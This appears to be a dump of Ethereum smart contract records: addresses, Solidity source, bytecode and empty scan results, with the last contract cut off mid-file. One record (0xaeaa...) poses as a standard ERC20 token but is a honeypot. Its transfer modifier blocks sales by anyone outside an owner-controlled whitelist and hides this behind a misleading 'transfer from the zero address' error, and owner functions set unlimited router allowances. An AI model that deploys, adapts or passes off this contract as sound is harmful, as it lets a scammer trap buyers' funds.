0x6060604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302d05d3f811461010b57806305d2035b1461013a57806306fdde0314610161578063095ea7b3146101eb57806318160ddd1461020d57806323b872dd146102325780632ff2e9dc1461025a578063313ce5671461026d57806340c10f191461028057806342966c68146102a257806366188463146102ba57806370a08231146102dc5780637d64bcb4146102fb5780638da5cb5b1461030e57806395d89b4114610321578063a9059cbb14610334578063d73dd62314610356578063dd62ed3e14610378578063f2fde38b1461039d575b600080fd5b341561011657600080fd5b61011e6103bc565b604051600160a060020a03909116815260200160405180910390f35b341561014557600080fd5b61014d6103cb565b604051901515815260200160405180910390f35b341561016c57600080fd5b6101746103ec565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101b0578082015183820152602001610198565b50505050905090810190601f1680156101dd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101f657600080fd5b61014d600160a060020a036004351660243561048a565b341561021857600080fd5b6102206104f6565b60405190815260200160405180910390f35b341561023d57600080fd5b61014d600160a060020a03600435811690602435166044356104fc565b341561026557600080fd5b61022061066a565b341561027857600080fd5b610220610670565b341561028b57600080fd5b61014d600160a060020a0360043516602435610676565b34156102ad57600080fd5b6102b8600435610783565b005b34156102c557600080fd5b61014d600160a060020a036004351660243561086a565b34156102e757600080fd5b610220600160a060020a0360043516610964565b341561030657600080fd5b61014d61097f565b341561031957600080fd5b61011e610a2c565b341561032c57600080fd5b610174610a3b565b341561033f57600080fd5b61014d600160a060020a0360043516602435610aa6565b341561036157600080fd5b61014d600160a060020a0360043516602435610ba6565b341561038357600080fd5b610220600160a060020a0360043581169060243516610c4a565b34156103a857600080fd5b6102b8600160a060020a0360043516610c75565b600454600160a060020a031681565b60045474010000000000000000000000000000000000000000900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104825780601f1061045757610100808354040283529160200191610482565b820191906000526020600020905b81548152906001019060200180831161046557829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a038316151561051357600080fd5b600160a060020a03841660009081526020819052604090205482111561053857600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561056b57600080fd5b600160a060020a038416600090815260208190526040902054610594908363ffffffff610d1016565b600160a060020a0380861660009081526020819052604080822093909355908516815220546105c9908363ffffffff610d2216565b600160a060020a038085166000908152602081815260408083209490945587831682526002815283822033909316825291909152205461060f908363ffffffff610d1016565b600160a060020a0380861660008181526002602090815260408083203386168452909152908190209390935590851691600080516020610d398339815191529085905190815260200160405180910390a35060019392505050565b60085481565b60075481565b60035460009033600160a060020a0390811691161461069457600080fd5b60045474010000000000000000000000000000000000000000900460ff16156106bc57600080fd5b6001546106cf908363ffffffff610d2216565b600155600160a060020a0383166000908152602081905260409020546106fb908363ffffffff610d2216565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020610d398339815191528460405190815260200160405180910390a350600192915050565b600160a060020a0333166000908152602081905260408120548211156107a857600080fd5b5033600160a060020a0381166000908152602081905260409020546107cd9083610d10565b600160a060020a0382166000908152602081905260409020556001546107f9908363ffffffff610d1016565b600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a26000600160a060020a038216600080516020610d398339815191528460405190815260200160405180910390a35050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054808311156108c757600160a060020a0333811660009081526002602090815260408083209388168352929052908120556108fe565b6108d7818463ffffffff610d1016565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60035460009033600160a060020a0390811691161461099d57600080fd5b60045474010000000000000000000000000000000000000000900460ff16156109c557600080fd5b6004805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600354600160a060020a031681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104825780601f1061045757610100808354040283529160200191610482565b6000600160a060020a0383161515610abd57600080fd5b600160a060020a033316600090815260208190526040902054821115610ae257600080fd5b600160a060020a033316600090815260208190526040902054610b0b908363ffffffff610d1016565b600160a060020a033381166000908152602081905260408082209390935590851681522054610b40908363ffffffff610d2216565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a0316600080516020610d398339815191528460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610bde908363ffffffff610d2216565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60045433600160a060020a03908116911614610c9057600080fd5b600160a060020a0381161515610ca557600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610d1c57fe5b50900390565b600082820183811015610d3157fe5b93925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820df6c2fb24f05ad53fc9f7a4c674c8e9f4b5c6dcdf53feb54004eb3ed3790d78e0029
{"success": true, "error": null, "results": {}}
7,393
0xaeaa81bde6f53b8577ac0483c0dfb3d81732cc2c
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_PNODE(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e763116b3bce8344488fa3988df824d5d24c63af5644b9dfcb463fa4e4c8285f64736f6c63430006060033
{"success": true, "error": null, "results": {}}
7,394
0xb39097cb8c74f81009804b5553b4c247ccf41475
pragma solidity 0.6.10; // SPDX-License-Identifier: UNLICENSED /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev Total number of tokens in existence */ 